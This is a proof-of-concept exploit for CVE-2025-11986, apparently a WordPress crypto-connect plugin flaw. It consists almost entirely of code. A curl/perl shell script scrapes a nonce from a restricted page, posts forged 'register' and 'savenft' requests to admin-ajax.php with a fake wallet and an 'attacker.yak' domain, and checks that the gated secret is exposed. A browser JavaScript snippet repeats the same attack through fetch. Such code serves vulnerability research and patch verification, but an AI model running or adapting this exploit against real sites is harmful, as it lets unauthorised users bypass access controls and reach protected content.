CVE-2025-11986

UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'

NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')

# 备用提取方法
[ -z "$NONCE" ] && NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")

echo "Nonce: $NONCE"

curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=register&id=1&nonce=${NONCE}&param1=0xDEADBEEF00000000000000000000000000000000"

curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=savenft&id=1&nonce=${NONCE}&param1=&param2=attacker.yak&param3=1"

curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  grep -F 'SECRET: ONLY FOR HOLDERS' && echo "[+] Access bypass confirmed"

(() => {
  const n =
    (window.crypto_connectChainAjax && window.crypto_connectChainAjax.nonce) ||
    (document.documentElement.innerHTML.match(/create_link_crypto_connect_login\('([^']+)'/) || [])[1];

  if (!n) {
    console.error('nonce not found');
    return;
  }

  const post = d =>
    fetch('/wordpress/wp-admin/admin-ajax.php', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: new URLSearchParams(d)
    })
      .then(r => r.text())
      .then(t => (console.log(t), t));

  (async () => {
    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'register',
      id: '1',
      nonce: n,
      param1: '0xDEADBEEF00000000000000000000000000000000'
    });

    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'savenft',
      id: '1',
      nonce: n,
      param1: '',
      param2: 'attacker.yak',
      param3: '1'
    });

    location.reload();
  })();
})();